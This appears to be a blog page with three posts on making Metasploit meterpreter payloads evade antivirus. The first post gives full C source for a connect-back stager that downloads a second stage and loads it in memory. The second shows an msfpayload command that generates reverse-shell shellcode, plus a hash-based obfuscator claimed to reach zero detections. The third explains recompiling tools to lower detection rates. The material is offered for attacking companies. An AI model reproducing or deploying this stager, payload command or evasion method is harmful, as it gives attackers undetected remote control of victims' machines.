Evade antivirus convert shellcode to c

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
	Author: DiabloHorn https://diablohorn.wordpress.com
	Undetected meterpreter/reverse_tcp stager
	Compile as C
	Disable optimization, this could help you later on
	when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.

*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#include "LoadLibraryR.h"
#include "GetProcAddressR.h"

#pragma comment(lib, "ws2_32.lib")

int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);

/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;

/*
	doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	HANDLE threadhandle;
	DWORD  threadid;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char szPath[MAX_PATH];

	GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	/* Quick & Dirty hack to make this usable for psexec like stuff
	   When executed the first time it will spawn itself this makes
	   sure we return on time and don't get killed by the servicemanager
	*/

	if(strlen(lpCmdLine) == 0){
		strcat_s(szPath,MAX_PATH," 1");
		CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	}

	if(strlen(lpCmdLine) > 0){
		//thread just for fun...no real purpose atm
		threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
		WaitForSingleObject(threadhandle,INFINITE);
	}
}

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
	read port:ip
	Receive stage
	Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart(meterpretersock);

	free(payload);
	//closesocket(sock); meterpreter is still using it
}
/*
	Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
	SOCKADDR_IN dinfo;
	SOCKET sock;
	int respcode = 0;
	char *ipaddr = (char *)malloc(sizeof(char)*25);
	short port = 0;

	memset(ipaddr,0,sizeof(char)*16);
	port = getcinfo(self,ipaddr,16);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock == INVALID_SOCKET){
		printf("socket failed\n");
		exit(0);
	}
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

	respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
	if(respcode == SOCKET_ERROR){
		exit(0);
	}
	free(ipaddr);
	return sock;
}

/*
	Initialize winsock
*/
int initwsa(){
	int wsaerror = 0;
	//wsa is defined above main
	wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
	if(wsaerror != 0){
		return -1;
	}
	return 0;
}

/*
	Get ip address and port information from our own executable
	Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
	int i = 0;
	int offset = 0x4e;
	//[port as little endian hex][ip as string \0 terminated]
	//9999 -> 270f -> 0f27
	//127.0.0.1 -> 127.0.0.1
	//make sure to padd with \0's until max buffer, or this will read weird stuff
	short port = 0;
	FILE * file = fopen(self, "r");
	fseek(file,offset,SEEK_SET);
	fread((void *)&port,(size_t)sizeof(short),1,file);
	fread(ipaddr,(size_t)len,1,file);
	fclose(file);
	return port;
}

Continue reading “Evade antivirus convert shellcode to c”

Hash encapsulation to bypass AV

The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:

FUD

Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=10.50.0.103 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2[…]

That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);
	memset(data,0,steps);

	printf("\n");
	for(i=0;i<len;i+=steps){
		for(j=0;j<steps;j++){
			data[j] = s[i+j];
		}
		printf("%u,",crc32(&data[0],strlen(data)));
	}
	free(data);
}

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this:

4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,919810150,[…]

Continue reading “Hash encapsulation to bypass AV”

AV evasion: Recompiling & Optimizing FTW!

Lowering the detection rate of binaries can be done in two mayor ways like we all know:

  • modify the binary
  • modify the source

The first option one has a lot of articles on the internet covering it, so I’ll not be covering it, maybe in the feature. The second one is also a well known one, but not a often used one imo. A lot of people are either afraid of the source, don’t understand it or think they’ll brake it.

So let’s try and take those fears away, specially since it also requires minimal effort & time which can be a real PITA when you need to pwn a company in a couple of hours. Let’s take shellcodeexec as our first example and directly dive into the whole compiling thing. For the ones wondering what it is, Carnal0wnage has a great writeup on how to use it and what it is. You’ll need a compiler, which luckily for use there are tons of. To keep it simple I’ve used Visual Studio Express 2010. It’s a great IDE & Compiler in one and a lot of source just works. After downloading and installing it, here comes the “hard” part:

  • Download the shellcodeexec source
  • Extract it
  • Doubleclick on “shellcodeexec-master\windows\shellcodeexec\shellcodeexec.vcproj”
  • Click “Finish” on the conversion wizard window
  • Change Debug to Release

makerel

  • Then press F7
  • The executable appears in the folder “shellcodeexec-master\windows\Release”

So what do you think, was this enough to evade AV? Let’s have a look:

no-detection

Well that’s fun…a simple recompile lowered the detection rate from  37/46 to 0/46 or to put it simple, it’s now fully undetected. You now might ask, does this always work? Well no, but it sure does lower the detection rates. Let’s have a look at meterpreter for example, what happens when we recompile it?

lazyeasy

That didn’t exactly go as planned did it? On meterpreter it only accomplished:

  • 16/46 (fresh recompile)
  • 6/46 (adjusting to speed optimization)

Still if you are looking for an EASY way to lower the detection rate of your tool, this is pretty nice. Besides being easy it also gives you a lot of freedom to just change the code slightly and probably reach that much desired “fully undetected” goal.

Let’s have a quick look on how to compile meterpreter, just to make sure the internet has another reference on the subject.

All the previous steps still apply, but also make sure to unload the project “ext_server_sniffer”, although the answer can also be easily found by searching for the error. This is kinda all it takes to bring it down to the showed 16/46 from the normal 35/46 that meterpreter is rated when being uploaded for analysis. If you want to lower it further you can adjust the optimization options of the compiler. Depending on the project you want to adjust, the meterpreter one is called “metsrv”, right click on it and choose properties –> configuration properties –>c/c++ –> optimization:

opt

You can play with a lot of them, be careful this is that moment that you can actually break something. I’ve only played with “Optimization” and “Favor size or speed” which was enough to lower the detection rate to 6/46. Sometimes a project also contains dependency which if also modified could lower the detection rate even further. For meterpreter you can view this by right-clicking on the project and choosing “project dependencies”:

deps

We now have accomplished the following with minimal effort & time:

  • Make shellcodeexec FUD
  • Lower the detection rate of meterpreter drastically

We could try and make meterpreter FUD by changing even more compiler / linker options (or even the source itself), but this would require more testing, clicking, uploading and since I need to catch some sleep, I’ll leave that as an excersize for the reader. Hope you have fun recompiling all kind of tools out there and if you run into errors just copy/paste them into google or bing.

References